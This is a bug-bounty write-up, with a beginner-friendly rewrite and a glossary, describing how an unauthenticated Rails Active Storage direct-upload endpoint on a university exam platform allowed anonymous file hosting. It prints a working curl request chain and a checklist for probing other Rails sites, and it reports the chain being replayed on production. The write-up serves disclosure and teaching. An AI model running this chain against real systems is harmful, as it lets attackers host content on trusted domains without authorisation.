The Anonymous 5-GB File Host That Almost Wasn’t: How a Silent W
The Rails ActiveStorage direct-upload endpoint on a university exam platform accepted anonymous requests, letting anyone create a blob record and obtain a presigned S3 upload URL. An attacker could host arbitrary files on the trusted university domain, cached publicly for a year, without any account.
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context: a staging instance on a university domain
The target was a digital-exam platform of the kind that grades thousands of students and stores their submissions and identities. The university ran an acceptance (staging) instance on its own domain, https://staging.example.com, and the TLS certificate was issued to the university itself, so it was a first-party asset in scope.
DNS told a more interesting story than the certificate. staging.example.com was a CNAME to the vendor's staging edge behind a CDN, while the production host, example.com, was a CNAME to the vendor's multi-tenant customers edge. The university's "own" exam platform was one tenant on a shared SaaS, and the vendor's apex did not resolve the university's tenant name (NXDOMAIN). Two consequences followed: any platform-level flaw would exist on every customer, and any fix would have to come from the vendor, with the university only able to ask.
The feature at the centre of the finding is Rails Active Storage's direct upload path. In a normal Rails application, POST /rails/active_storage/direct_uploads creates a blob record and returns a presigned URL so the browser can PUT the file straight into cloud storage, after which the blob is served back through the application. The platform also had its own custom /uploads controller, which was correctly gated.
Setup: tools and preconditions
The tools were curl, OpenSSL/TLS inspection, DNS lookups for CNAME tracing, a browser, jq, and a lot of downloading. No account was available: the root URL redirected to the university SSO through a national research-federation IdP, and the researcher was not allowed to fabricate credentials.
Fingerprinting identified Ruby on Rails with Devise, from the X-Request-Id and X-Runtime response headers, the csrf-token meta tag on the sign-in page, and the /users/sign_in path. The application was later confirmed as Rails 7.1, and the researcher pulled the exact Rails 7.1.5 source to read the controller.
Two public surfaces helped. GET /status required no authentication and disclosed the exact platform version and git revision; staging and production ran the same version with different revisions, so the same code was deployed twice. /api/docs was public and linked two OpenAPI specs, version 2 with 111 paths and 218 operations, and a beta spec with 128 paths and 263 operations, roughly 1 MB each. The frontend was also pulled in full: the main application bundle at about 4.9 MB of JavaScript, a code-editor widget at about 1.2 MB, a math-rendering library at about 830 KB, and all the CSS.
Finding it: the 401 that read differently
Sweeping every operation in both OpenAPI specs unauthenticated returned 401 across the board, 481 operations in total. Enumerating Rails-convention routes (/rails/info, job dashboards, mail previews, metrics endpoints, admin panels) and every route mentioned in the JS bundles produced the same result: 401, or a 302 to login. The only exceptions were /status, the swagger docs, and the SAML metadata.
Three side paths were explored first. The Content-Security-Policy header named the backend topology: the S3 upload bucket, a Swift object-store bucket, a separate grading service, a monitoring ingest and more. Testing the object store directly returned a proper 401, and the upload bucket was private with AccessDenied on everything anonymous. GET /cable returned 404 for a plain HTTP request, but upgrading to a websocket returned {"type":"welcome"} with no authentication at all. Connecting to every ActionCable channel name extracted from the frontend bundle (result channels, quiz-response channels, quiz-participant channels, assignment-sync channels) produced reject_subscription for an anonymous client, except DashboardChannel, which confirmed the anonymous subscription. It carried only server counts and queue throughput, accepted no perform actions, and a later server-side enumeration of 44 candidate channel names confirmed only 6 exist, while a 75-second silent listen on DashboardChannel captured zero broadcasts.

The pivot came from the route-probe output. Every other endpoint answered with the Devise authentication failure:
You need to sign in or sign up before continuing
But one did not:
POST /rails/active_storage/direct_uploads
returned:
Can't verify CSRF token authenticity
That is Rails' forgery check, not an authentication failure. The request had passed every authentication filter, reached the controller, and died one layer deeper. Either the controller had an auth filter that somehow passed an anonymous request, which Devise does not do, or, far more likely, the controller had no authentication filter at all and the only barrier was a CSRF token that Rails hands out to anyone who loads a page.
Exploitation
Step 1: obtain a CSRF token from the public sign-in page
robots.txt explicitly allowed /users/sign_in, and that page issues a token to anonymous visitors.
curl -sk -c cookies.txt https://staging.example.com/users/sign_in -o page.htmlCSRF=$(grep -oP ‘name=”csrf-token” content=”\K[^”]+’ page.html)
The cookie jar captures the session, and the token is extracted from the csrf-token meta tag in the returned HTML.
Step 2: create a blob anonymously
curl -sk -b cookies.txt -X POST \ -H “X-CSRF-Token: $CSRF” \ -H “Content-Type: application/json” \ -H “Accept: application/json” \ -d ‘{“blob”:{“filename”:”probe.html”,”content_type”:”text/html”, “byte_size”:107,”checksum”:”<base64-md5>”}}’ \ https://staging.example.com/rails/active_storage/direct_uploads
The request carries the session cookie and the token, and describes a 107-byte text/html file with a base64 MD5 checksum. It returned HTTP 200 with a JSON body that amounted to an anonymous self-service upload kit:
{ “id”: “d0e42529–1177-…”, “key”: “n5fojj1twxqcq4embp5mdsze…”, “signed_id”: “eyJfcmFpbHMiOnsiZGF0YSI6… — e262c79f84cb…”, “direct_upload”: { “url”: “https://example-stage-uploads.s3.eu-central-1.amazonaws.com/n5fojj…?X-Amz-Signature=…", “headers”: { “Content-Type”: “text/html”, “Content-MD5”: “…”, “Content-Length”: “107” } }}
Three things came back without any work: a permanent, server-signed serving token (signed_id, base64 JSON plus an HMAC), a presigned S3 PUT URL valid for 300 seconds straight into the platform's own upload bucket, and the exact headers to send. Those headers were chosen by the researcher, because they are echoed back from the request body.
Step 3: upload the file to the bucket
curl -s -X PUT -H “Content-Type: text/html” -H “Content-MD5: <md5>” \ — data-binary @probe.html “<presigned url>”
The PUT sends the file to the presigned URL.
Step 4: serve the file back anonymously
curl -sk “https://staging.example.com/rails/active_storage/blobs/proxy/<signed_id>/probe.html"# → HTTP/2 200, byte-identical payload
No cookies, no tokens, nothing. The response headers were the punchline:
content-disposition: attachment; filename="probe.html"content-type: application/octet-streamcache-control: max-age=3155695200, public, immutablelast-modified: Fri, 31 Dec 2010 23:00:00 GMT ← Rails' little constant jokex-runtime: 0.227296
cmp confirmed the served bytes were identical to the payload. Four requests and zero credentials produced anonymous file hosting on a trusted university domain, cached publicly for a year. The researcher then stopped touching anything except their own files.
Escalation attempts that failed
Stored XSS was the first attempt, since text/html had been chosen deliberately. Fetching the file returned application/octet-stream with attachment. Adding ?disposition=inline was ignored, and the redirect variant with response-content-disposition=inline returned 302 with no change. XSS was dead.
Reading other people's files was the second attempt. A hand-forged signed_id without the HMAC returned 404. Direct anonymous object GET and listing against the S3 bucket returned 403 AccessDenied on everything, and blob keys are random 30-character tokens. Cross-tenant and cross-user reads were dead.
The third attempt was the scope spiral: the doubt that uploading a file to oneself is a finding at all, made worse by the fact that this was the vendor's Rails application rather than university code, on a shared multi-tenant SaaS. With XSS dead and no data exposure, the researcher nearly filed it as a Low.
The framework source
Reading the framework source rather than a blog post settled it. The controller, in its entirety:
class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController def create blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) render json: direct_upload_json(blob) endend
BaseController contains exactly one security line, protect_from_forgery with: :exception. No authentication filter exists anywhere in the framework's default controller chain, and Rails' own source comment says so:
"WARNING: All Active Storage controllers are publicly accessible by default. … If your files require a higher level of protection consider implementing Authenticated Controllers."
This was a known-dangerous framework default that the application had not overridden. The proof that it was an oversight rather than a choice is the platform's own custom /uploads controller, which correctly returns 401 You need to sign in or sign up before continuing. A locked front door had been built for uploads, and the framework's second door, default-open, went unnoticed.
The disposition=inline mystery was explained here too: Rails 7.1's content_types_to_serve_as_binary includes text/html and image/svg+xml, both force-downloaded as binary, and the inline allowlist is only images and PDF, none of which execute script.
Production replay
Because /status had shown staging and production running the same version, the identical four-step chain was pointed at production example.com, the multi-tenant edge with real students and real exams:
- Unauthenticated blob create: 200, bucket
example-prod-uploads.s3.eu-central-1.amazonaws.com - Presigned S3 PUT of a 6-byte labelled probe: 200
- Anonymous serve of that blob: HTTP/2 200, byte-identical, same
attachment, same one-yearpublic, immutablecache header,x-runtime: 0.177694
Production parity confirmed it was not a staging quirk. The final severity was Medium: an unauthenticated, unmetered write primitive against both database and cloud storage, plus trusted-domain file hosting, bounded below High because the framework's defaults blocked script execution and the HMAC blocked reading anyone else's files. The report included the full chain, negative controls (forged signed_id returning 404, direct S3 returning 403, inline disposition ignored), the root cause with framework source, and every probe artifact listed by key for cleanup, all labelled security-probe.

Root cause
No vulnerable line was written by the platform team. They built a custom, correctly gated upload controller and never audited the framework's parallel route, which ships enabled by default in every Rails application that touches Active Storage. The CSRF filter made the endpoint look protected, since anonymous POSTs without a token fail, but it provides no authentication value because Rails hands the session and the token to any anonymous visitor of the public login page. This is CWE-306, Missing Authentication for Critical Function.
The control gaps stacked up: no authentication on the write path, no rate limit, no per-IP or per-account quota, no captcha on blob creation, and no purge job for orphaned blobs. Individually forgivable, together they turn one missing before_action into an unmetered write primitive on a production multi-tenant exam platform.
Impact
The production replay showed an unauthenticated blob create, a presigned PUT and anonymous serving of the blob from the trusted domain with a one-year public, immutable cache header. The write primitive is unmetered: no rate limit, quota, captcha or purge job stood in the way. Because the platform is one tenant on a shared multi-tenant SaaS, the same flaw existed on every customer, and the fix had to come from the vendor.
The impact is bounded. The framework force-downloads text/html and image/svg+xml as binary, so script execution in the university origin was not possible, and the HMAC on signed_id prevented reading anyone else's files. What remains is an unauthenticated, unmetered write primitive plus hosting of attacker content on a trusted domain, which the researcher rated Medium.
Fix
What was changed is not described in the report. What should be done follows from the root cause: override the framework default by adding authentication to the Active Storage direct upload controllers, or route uploads exclusively through the platform's own gated /uploads controller. Beyond authentication, the missing controls should be added: rate limiting, per-IP and per-account quotas, a captcha on blob creation, and a purge job for orphaned blobs. Because the flaw is platform-level, the vendor has to ship the fix for all tenants.
Variants to test
- Probe
/rails/active_storage/direct_uploadson any Rails application and compare its unauthenticated error with a known Devise endpoint. A positive result is a CSRF error rather than a sign-in redirect, meaning the request reached the controller. - Fetch
/users/sign_in(or any public page) and reuse itscsrf-tokenagainst the direct upload endpoint. A positive result is HTTP 200 with asigned_idand a presigned URL in the body. - PUT a small labelled file to the returned presigned URL, then GET the blob proxy path with the
signed_idand no cookies. A positive result is HTTP 200 with byte-identical content and a long-lived public cache header. - Try
?disposition=inlineand theresponse-content-disposition=inlineredirect variant. A positive result would be inline rendering oftext/htmlor SVG, which the Rails 7.1 defaults are expected to block. - Forge a
signed_idwithout the HMAC and request it. A positive result would be a 200 rather than a 404, indicating the signature is not verified. - Replay the full chain against the production host whenever
/statusor version banners show staging and production running the same code. A positive result is the same 200 responses on the multi-tenant edge.
What happened, in plain words
A university runs an online exam platform. It is the kind of system that marks thousands of students, keeps their submitted work, and holds their personal details. The university also runs a test copy of that platform, called a staging instance, on its own web address, https://staging.example.com. A staging instance is a rehearsal version of a website: the place where changes are tried out before they reach the real thing. In practice, staging copies are often the sloppiest part of a system, because they are built quickly and nobody polishes them.
A security researcher named Priyansh spent a day on this staging instance and found almost nothing. Every page and every programming interface he touched asked him to log in. He had no account, and he was not allowed to invent one. Then he noticed that one address answered with a different error message from all the others. That one difference led him to a chain of four requests, made without any login at all, which on the production platform stored a file on the university's own domain and served it back anonymously. The same chain worked on the real, live platform.
This article walks through that story from the beginning, explaining each idea as it comes up. You only need to know how to use a browser and a computer.
Some words you will meet straight away
Before the story, a few everyday ideas, because the rest of the article leans on them.
- A server is a computer somewhere that answers requests from your browser. When you open a web page, your browser asks a server for it and the server sends it back.
- A URL is a web address, like
https://staging.example.com/users/sign_in. The part after the address, such as/users/sign_in, is called a path, and it points to a particular page or function on the server. - An API (application programming interface) is a way for programs to talk to a server without a human clicking. Think of a restaurant: the menu is the API, the kitchen is the server, and your order is the request. A program sends a request in a fixed format and gets an answer back, usually as structured text called JSON.
- HTTP is the language of those requests and answers. Each request has a method, a verb saying what you want to do.
GETmeans "give me something".POSTmeans "here is some data, create something with it".PUTmeans "store this". Each answer comes with a status code, a number saying how it went:200means success,302means "look somewhere else",401means "you are not allowed in",403means "forbidden",404means "not found". - A cookie is a small note a server gives your browser and asks it to bring back on every later request. It is how a website remembers who you are between pages. A session is what that note represents: a short-lived identity on the server.
- A token is a short string of characters that stands in for proof of something. A session token proves you logged in. A CSRF token is a different kind of token, explained below.
- Authentication means proving who you are, usually by logging in. Authorisation means deciding what a proven identity is allowed to do. A page that returns
401is refusing you at the authentication step. - CSRF stands for cross-site request forgery. It is an attack where a malicious website quietly makes your browser send a request to another site where you are logged in. To stop it, web frameworks add a secret value, the CSRF token, to forms and to requests that change data. The server checks that the value matches the one it gave you. A request without the right value is rejected with a message about the CSRF token.
- Ruby on Rails (usually just Rails) is a popular toolkit for building websites. Devise is a widely used add-on for Rails that handles logging in and out. When Devise turns you away, it says
You need to sign in or sign up before continuing. - Active Storage is a built-in Rails feature for handling uploaded files. It can send files straight to cloud storage, which is what the direct upload path does.
- Cloud storage here means Amazon S3, an online filing cabinet. Files live in a bucket, which is like a folder with a name. A presigned URL is a special web address that grants temporary permission to write one file into a bucket, without needing the bucket's password. It is like a one-use key to a storage locker that expires after a few minutes.
- A blob is Rails' word for one stored file plus its record in the database.
- A checksum is a short fingerprint of a file's contents, used to check the file arrived unchanged. An MD5 is one kind of checksum.
- HMAC is a way of signing a piece of data with a secret key, so the server can later tell whether the data was altered. If someone changes even one character, the signature no longer matches.
- XSS, cross-site scripting, is when an attacker gets their own code to run inside someone else's website, in that site's name. It is dangerous because the code then acts with the trust that site enjoys.
- CWE-306 is a catalogue entry for a class of bug: Missing Authentication for Critical Function. In plain words, an important action that anyone can perform without logging in.
- Severity is how serious a finding is judged to be, usually from Low through Medium and High to Critical. CVSS is a scoring system for it.
The target and why it mattered

The platform is a digital exam system. The university ran a staging copy on its own domain, and the security certificate for that domain, the padlock in your browser, was issued to the university itself. That made it a first-party asset: something the university owns, and therefore fair game for the university's bug bounty programme. A bug bounty programme is a scheme where an organisation invites outside researchers to look for flaws and report them, sometimes for a reward.
The DNS records, the internet's address book that maps names to machines, told a more interesting story than the certificate. staging.example.com was a CNAME, an alias pointing at another name, to the vendor's staging edge behind a CDN. A CDN, content delivery network, is a network of servers that sits in front of a site to speed it up and protect it. The production host, example.com, was a CNAME to the vendor's multi-tenant customers edge. Multi-tenant means one shared system serves many organisations at once, each one a tenant with its own space. The vendor's own top-level name did not even resolve the university's tenant name, which returned NXDOMAIN, the DNS answer for "no such name".
Two consequences followed. First, any flaw at platform level would exist for every customer, not just this university. Second, any fix would have to come from the vendor; the university could only ask for it.
The feature at the centre of the finding is Rails Active Storage's direct upload path. In a normal Rails application, POST /rails/active_storage/direct_uploads creates a blob record and returns a presigned URL so the browser can PUT the file straight into cloud storage, after which the blob is served back through the application. The platform also had its own custom /uploads controller, which was correctly gated. A controller is the part of a Rails application that handles a particular kind of request; "gated" means it checks who you are before doing anything.
Setup: tools and preconditions
The tools were curl, OpenSSL/TLS inspection, DNS lookups for CNAME tracing, a browser, jq, and a lot of downloading. curl is a command-line program that sends web requests and prints the answers, useful because it shows exactly what is sent and received. OpenSSL is a toolkit for inspecting encrypted connections; TLS is the encryption behind the padlock. jq is a small program for picking values out of JSON text.
No account was available. The root URL redirected to the university's SSO, single sign-on, through a national research-federation IdP, identity provider. SSO means one login serves many services; the IdP is the central service that checks your password. The researcher was not allowed to fabricate credentials, so logging in was off the table.
Fingerprinting is working out what software a site runs from small clues. Here it identified Ruby on Rails with Devise, from the X-Request-Id and X-Runtime response headers, the csrf-token meta tag on the sign-in page, and the /users/sign_in path. Headers are extra lines of information attached to every request and answer, like the label on a parcel. A meta tag is a line inside a web page's source that carries information about the page. The application was later confirmed as Rails 7.1, and the researcher pulled the exact Rails 7.1.5 source to read the controller. Source means the original programming code of the software.
Two public surfaces helped. GET /status required no authentication and disclosed the exact platform version and git revision. A git revision is a label for one exact saved state of the code, like a version number with a fingerprint. Staging and production ran the same version with different revisions, so the same code was deployed twice. /api/docs was public and linked two OpenAPI specs, machine-readable descriptions of every operation an API offers. Version 2 had 111 paths and 218 operations, and a beta spec had 128 paths and 263 operations, roughly 1 MB each. The frontend was also pulled in full: the main application bundle at about 4.9 MB of JavaScript, a code-editor widget at about 1.2 MB, a math-rendering library at about 830 KB, and all the CSS. Frontend means the code that runs in your browser; a bundle is many files packed into one; CSS is the styling that decides how a page looks.
Finding it: the 401 that read differently
Sweeping every operation in both OpenAPI specs unauthenticated returned 401 across the board, 481 operations in total. Enumerating Rails-convention routes (/rails/info, job dashboards, mail previews, metrics endpoints, admin panels) and every route mentioned in the JS bundles produced the same result: 401, or a 302 to login. Enumerating means trying a list of likely names one by one. Rails-convention routes are addresses that Rails applications tend to have by default, so a guesser can try them on any Rails site. The only exceptions were /status, the swagger docs, and the SAML metadata. Swagger is a tool that displays an API's documentation; SAML is a standard for single sign-on, and its metadata is a public description of how to connect.
Three side paths were explored first.
The Content-Security-Policy header, a browser instruction listing which sources a page may load from, named the backend topology: the S3 upload bucket, a Swift object-store bucket, a separate grading service, a monitoring ingest and more. Topology means the layout of the parts. Testing the object store directly returned a proper 401, and the upload bucket was private with AccessDenied on everything anonymous. So the files' home was known, but locked.
GET /cable returned 404 for a plain HTTP request, but upgrading to a websocket returned {"type":"welcome"} with no authentication at all. A websocket is a connection that stays open in both directions, like a phone call rather than a letter, so the server can push updates without being asked. Connecting to every ActionCable channel name extracted from the frontend bundle (result channels, quiz-response channels, quiz-participant channels, assignment-sync channels) produced reject_subscription for an anonymous client, except DashboardChannel, which confirmed the anonymous subscription. ActionCable is Rails' websocket feature; a channel is a named topic you subscribe to, and reject_subscription is the server saying no. The dashboard channel carried only server counts and queue throughput, accepted no perform actions, and a later server-side enumeration of 44 candidate channel names confirmed only 6 exist, while a 75-second silent listen on DashboardChannel captured zero broadcasts. So the open door led to a room with nothing in it.
The pivot came from the route-probe output. Every other endpoint answered with the Devise authentication failure:
You need to sign in or sign up before continuing
That message is Devise saying it does not know who you are, so it stops you at the door.
But one did not:
POST /rails/active_storage/direct_uploads
returned:
Can't verify CSRF token authenticity
That is Rails' forgery check, not an authentication failure. The request had passed every authentication filter, reached the controller, and died one layer deeper. Either the controller had an auth filter that somehow passed an anonymous request, which Devise does not do, or, far more likely, the controller had no authentication filter at all and the only barrier was a CSRF token that Rails hands out to anyone who loads a page.
This is the heart of the whole story. Two 401 answers look identical to a scanning tool, but they mean different things. One says "I do not know you, go away". The other says "I let you in, but your form was missing a stamp". The second is a confession that the door was never locked.
Exploitation
Step 1: obtain a CSRF token from the public sign-in page
robots.txt, a public file telling search engines which pages they may crawl, explicitly allowed /users/sign_in, and that page issues a token to anonymous visitors.
curl -sk -c cookies.txt https://staging.example.com/users/sign_in -o page.htmlCSRF=$(grep -oP ‘name=”csrf-token” content=”\K[^”]+’ page.html)
Line by line:
curlis the program sending the request.-smeans silent: do not print progress noise.-kmeans ignore certificate warnings. Useful on staging boxes whose certificates are imperfect.-c cookies.txtmeans save any cookies the server sets into a file calledcookies.txt, so they can be sent back later.https://staging.example.com/users/sign_inis the public sign-in page.-o page.htmlmeans write the returned page into a file calledpage.htmlinstead of printing it.- The second command,
CSRF=$(...), runs the part in brackets and stores its output in a variable namedCSRF. grep -oPsearches text and prints only the matching part, using a pattern language called Perl-compatible regular expressions.- The pattern looks for
name="csrf-token" content="and then captures everything up to the next quote. That is the token hidden in the page's source.
Why this step: the next request will be a POST, which changes data, so Rails will demand the CSRF token. The sign-in page hands one to anyone, logged in or not. The cookie jar captures the session, and the token is extracted from the csrf-token meta tag in the returned HTML.
Step 2: create a blob anonymously
curl -sk -b cookies.txt -X POST \ -H “X-CSRF-Token: $CSRF” \ -H “Content-Type: application/json” \ -H “Accept: application/json” \ -d ‘{“blob”:{“filename”:”probe.html”,”content_type”:”text/html”, “byte_size”:107,”checksum”:”<base64-md5>”}}’ \ https://staging.example.com/rails/active_storage/direct_uploads
Line by line:
-b cookies.txtsends back the cookies saved in step 1, so the server sees the same session.-X POSTchooses the POST method, meaning "create something".-H "X-CSRF-Token: $CSRF"attaches the token from step 1 as a header. This is the stamp the server asked for.-H "Content-Type: application/json"says the body is JSON.-H "Accept: application/json"says the answer should be JSON too.-d '{...}'is the body: a description of the file to be created. It gives a filenameprobe.html, a content typetext/html, a size of 107 bytes, and a checksum written as<base64-md5>, a placeholder for the MD5 fingerprint encoded in base64. Base64 is a way of writing binary data using ordinary letters and digits.- The last line is the address being called: the direct upload endpoint.
Why this step: this is the request that the odd error message pointed at. If it succeeds, the server will have created a record for a file that does not exist yet, and will tell us where to put the file.
It returned HTTP 200 with a JSON body that amounted to an anonymous self-service upload kit:
{ “id”: “d0e42529–1177-…”, “key”: “n5fojj1twxqcq4embp5mdsze…”, “signed_id”: “eyJfcmFpbHMiOnsiZGF0YSI6… — e262c79f84cb…”, “direct_upload”: { “url”: “https://example-stage-uploads.s3.eu-central-1.amazonaws.com/n5fojj…?X-Amz-Signature=…", “headers”: { “Content-Type”: “text/html”, “Content-MD5”: “…”, “Content-Length”: “107” } }}
What each part means:
idis the database record's identifier.keyis the file's name inside the storage bucket, a random-looking string.signed_idis the important one: a permanent, server-signed serving token. It is base64 JSON plus an HMAC, so the server can later prove it issued it and that nobody altered it. Whoever holds it can ask the server to serve that file.direct_upload.urlis a presigned S3 PUT URL, valid for 300 seconds, pointing straight into the platform's own upload bucket. TheX-Amz-Signaturepart is the temporary permission.direct_upload.headerslists the exact headers to send with the upload: the content type, the MD5 checksum and the length.
Three things came back without any work: the serving token, the temporary upload address, and the headers. Those headers were chosen by the researcher, because they are echoed back from the request body. In other words, the server did not decide what kind of file this was; it repeated what it was told.
Step 3: upload the file to the bucket
curl -s -X PUT -H “Content-Type: text/html” -H “Content-MD5: <md5>” \ — data-binary @probe.html “<presigned url>”
Line by line:
-X PUTuses the PUT method, meaning "store this here".-H "Content-Type: text/html"labels the file as an HTML page.-H "Content-MD5: <md5>"sends the checksum, so the storage service can confirm the file arrived intact.--data-binary @probe.htmlsends the contents of the local fileprobe.htmlas the body."<presigned url>"is the temporary address from step 2.
The PUT sends the file to the presigned URL, with no application credentials involved.
Step 4: serve the file back anonymously
curl -sk “https://staging.example.com/rails/active_storage/blobs/proxy/<signed_id>/probe.html"# → HTTP/2 200, byte-identical payload
Line by line:
- The address is the platform's own blob proxy path, with the
signed_idfrom step 2 in the middle and the filename at the end. - There are no cookies and no token headers at all. That is the point of the test.
- The comment after the
#records the result: HTTP/2 200, and the returned bytes were identical to what was uploaded. HTTP/2 is a newer version of the web's request language.
No cookies, no tokens, nothing. The response headers were the punchline:
content-disposition: attachment; filename="probe.html"content-type: application/octet-streamcache-control: max-age=3155695200, public, immutablelast-modified: Fri, 31 Dec 2010 23:00:00 GMT ← Rails' little constant jokex-runtime: 0.227296
What each header says:
content-disposition: attachmenttells the browser to download the file rather than display it. This matters later.content-type: application/octet-streamsays "unknown binary data", not an HTML page.cache-control: max-age=3155695200, public, immutabletells every cache on the way to keep a copy for 31,556,952 seconds, about a year, and that the content will never change.publicmeans shared caches may keep it too.last-modified: Fri, 31 Dec 2010 23:00:00 GMTis a fixed date Rails uses as a small joke; the arrow in the original notes it.x-runtime: 0.227296is how many seconds the server spent handling the request.
cmp, a program that compares two files byte by byte, confirmed the served bytes were identical to the payload. Four requests and zero credentials produced anonymous file hosting on a trusted university domain, cached publicly for a year. The researcher then stopped touching anything except their own files, which is the careful thing to do: do not go poking at other people's data while proving a point.
Escalation attempts that failed
After a finding, a researcher tries to make it worse, to see how bad it really is. Three attempts failed, and each failure is useful evidence.
Stored XSS was the first attempt, since text/html had been chosen deliberately. The idea: if the university's domain serves a page containing the researcher's JavaScript, that script runs in the university's name. Fetching the file returned application/octet-stream with attachment. Adding ?disposition=inline was ignored, and the redirect variant with response-content-disposition=inline returned 302 with no change. Stored means the malicious content is saved on the server and served to whoever asks. XSS was dead.
Reading other people's files was the second attempt. A hand-forged signed_id without the HMAC returned 404. Direct anonymous object GET and listing against the S3 bucket returned 403 AccessDenied on everything, and blob keys are random 30-character tokens. Cross-tenant and cross-user reads were dead. Cross-tenant means reaching another organisation's data on the same shared system.
The scope spiral was the third attempt, and it was not technical. It is the doubt that uploading a file to oneself is a finding at all, made worse by the fact that this was the vendor's Rails application rather than university code, on a shared multi-tenant SaaS. SaaS means software as a service: the vendor runs it and many customers use it. With XSS dead and no data exposure, the researcher nearly filed it as a Low.
The framework source
Reading the framework source rather than a blog post settled it. The controller, in its entirety:
class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController def create blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) render json: direct_upload_json(blob) endend
In plain words: this controller has one action, create. It makes a blob record before any upload happens, then returns JSON describing where to upload. There is no check of who is asking anywhere in it.
BaseController contains exactly one security line, protect_from_forgery with: :exception. That line is the CSRF check, and it raises an error when the token is missing. No authentication filter exists anywhere in the framework's default controller chain, and Rails' own source comment says so:
"WARNING: All Active Storage controllers are publicly accessible by default. … If your files require a higher level of protection consider implementing Authenticated Controllers."
This was a known-dangerous framework default that the application had not overridden. A default is behaviour you get without asking for it. The proof that it was an oversight rather than a choice is the platform's own custom /uploads controller, which correctly returns 401 You need to sign in or sign up before continuing. A locked front door had been built for uploads, and the framework's second door, default-open, went unnoticed.
The disposition=inline mystery was explained here too: Rails 7.1's content_types_to_serve_as_binary includes text/html and image/svg+xml, both force-downloaded as binary, and the inline allowlist is only images and PDF, none of which execute script. In plain words, Rails has a list of file types it refuses to display in the browser and always downloads instead, and HTML and SVG are on it. That is why the XSS attempt failed: the framework's own safety list blocked it.
Production replay
Because /status had shown staging and production running the same version, the identical four-step chain was pointed at production example.com, the multi-tenant edge with real students and real exams. Replay means running the same steps again against a different target to see whether the result holds.
- Unauthenticated blob create: 200, bucket
example-prod-uploads.s3.eu-central-1.amazonaws.com - Presigned S3 PUT of a 6-byte labelled probe: 200
- Anonymous serve of that blob: HTTP/2 200, byte-identical, same
attachment, same one-yearpublic, immutablecache header,x-runtime: 0.177694
Production parity confirmed it was not a staging quirk. Parity means the same behaviour on both systems. The final severity was Medium: an unauthenticated, unmetered write primitive against both database and cloud storage, plus trusted-domain file hosting, bounded below High because the framework's defaults blocked script execution and the HMAC blocked reading anyone else's files. A write primitive is a basic ability to create data on someone else's system; unmetered means nothing counts or limits how much.
The report included the full chain, negative controls (forged signed_id returning 404, direct S3 returning 403, inline disposition ignored), the root cause with framework source, and every probe artifact listed by key for cleanup, all labelled security-probe. Negative controls are tests that are expected to fail, included to show the successful test was not a fluke. Probe artifacts are the files the researcher left behind; listing them by key lets the owner delete them.

Root cause
No vulnerable line was written by the platform team. They built a custom, correctly gated upload controller and never audited the framework's parallel route, which ships enabled by default in every Rails application that touches Active Storage. Audited means checked. The CSRF filter made the endpoint look protected, since anonymous POSTs without a token fail, but it provides no authentication value because Rails hands the session and the token to any anonymous visitor of the public login page. This is CWE-306, Missing Authentication for Critical Function.
The control gaps stacked up: no authentication on the write path, no rate limit, no per-IP or per-account quota, no captcha on blob creation, and no purge job for orphaned blobs. A rate limit caps how many requests one client may make in a period; a quota caps total usage; a captcha is a puzzle meant to prove a human is present; a purge job is a scheduled cleanup. Orphaned blobs are records whose files were never uploaded or are no longer used. Individually forgivable, together they turn one missing before_action into an unmetered write primitive on a production multi-tenant exam platform. A before_action is Rails' name for a check that runs before an action, the natural place to put a login check.
Impact
The production replay showed an unauthenticated blob create, a presigned PUT and anonymous serving of the blob from the trusted domain with a one-year public, immutable cache header. The write primitive is unmetered: no rate limit, quota, captcha or purge job stood in the way. Because the platform is one tenant on a shared multi-tenant SaaS, the same flaw existed on every customer, and the fix had to come from the vendor.
The impact is bounded. The framework force-downloads text/html and image/svg+xml as binary, so script execution in the university origin was not possible, and the HMAC on signed_id prevented reading anyone else's files. What remains is an unauthenticated, unmetered write primitive plus hosting of attacker content on a trusted domain, which the researcher rated Medium.
Fix
What was changed is not described in the report. What should be done follows from the root cause: override the framework default by adding authentication to the Active Storage direct upload controllers, or route uploads exclusively through the platform's own gated /uploads controller. Beyond authentication, the missing controls should be added: rate limiting, per-IP and per-account quotas, a captcha on blob creation, and a purge job for orphaned blobs. Because the flaw is platform-level, the vendor has to ship the fix for all tenants.
Variants to test
If you want to look for the same kind of bug yourself, these are the checks, in order. Each one says what a positive result looks like.
- Probe
/rails/active_storage/direct_uploadson any Rails application and compare its unauthenticated error with a known Devise endpoint. A positive result is a CSRF error rather than a sign-in redirect, meaning the request reached the controller. - Fetch
/users/sign_in(or any public page) and reuse itscsrf-tokenagainst the direct upload endpoint. A positive result is HTTP 200 with asigned_idand a presigned URL in the body. - PUT a small labelled file to the returned presigned URL, then GET the blob proxy path with the
signed_idand no cookies. A positive result is HTTP 200 with byte-identical content and a long-lived public cache header. - Try
?disposition=inlineand theresponse-content-disposition=inlineredirect variant. A positive result would be inline rendering oftext/htmlor SVG, which the Rails 7.1 defaults are expected to block. - Forge a
signed_idwithout the HMAC and request it. A positive result would be a 200 rather than a 404, indicating the signature is not verified. - Replay the full chain against the production host whenever
/statusor version banners show staging and production running the same code. A positive result is the same 200 responses on the multi-tenant edge.
Glossary
- 401: an HTTP status code meaning the server does not know who you are, so it refuses the request.
- 403: an HTTP status code meaning the server knows the request but forbids it.
- 404: an HTTP status code meaning the requested thing was not found.
- 200: an HTTP status code meaning the request succeeded.
- 302: an HTTP status code meaning "look somewhere else", a redirect.
- ActionCable: Rails' built-in feature for websocket connections and channels.
- Active Storage: Rails' built-in feature for storing uploaded files, including direct uploads to cloud storage.
- API: a fixed way for programs to talk to a server, like a menu of requests and answers.
- Audit: to check something systematically, here reading code for security problems.
- Authentication: proving who you are, usually by logging in.
- Authorisation: deciding what a proven identity may do.
- Base64: a way of writing binary data using ordinary letters and digits.
- before_action: a Rails hook that runs a check before an action, the usual place for a login check.
- Blob: Rails' word for one stored file plus its database record.
- Bucket: a named folder in cloud storage.
- Bug bounty programme: a scheme where an organisation invites outside researchers to report flaws, sometimes for a reward.
- Bundle: many code files packed into one for delivery to the browser.
- Cache: a stored copy kept to avoid fetching something again.
- Captcha: a puzzle meant to prove a human, not a program, is making a request.
- CDN: content delivery network, servers placed in front of a site to speed it up and protect it.
- Channel: a named topic in a websocket system that a client can subscribe to.
- Checksum: a short fingerprint of a file's contents, used to check it arrived unchanged.
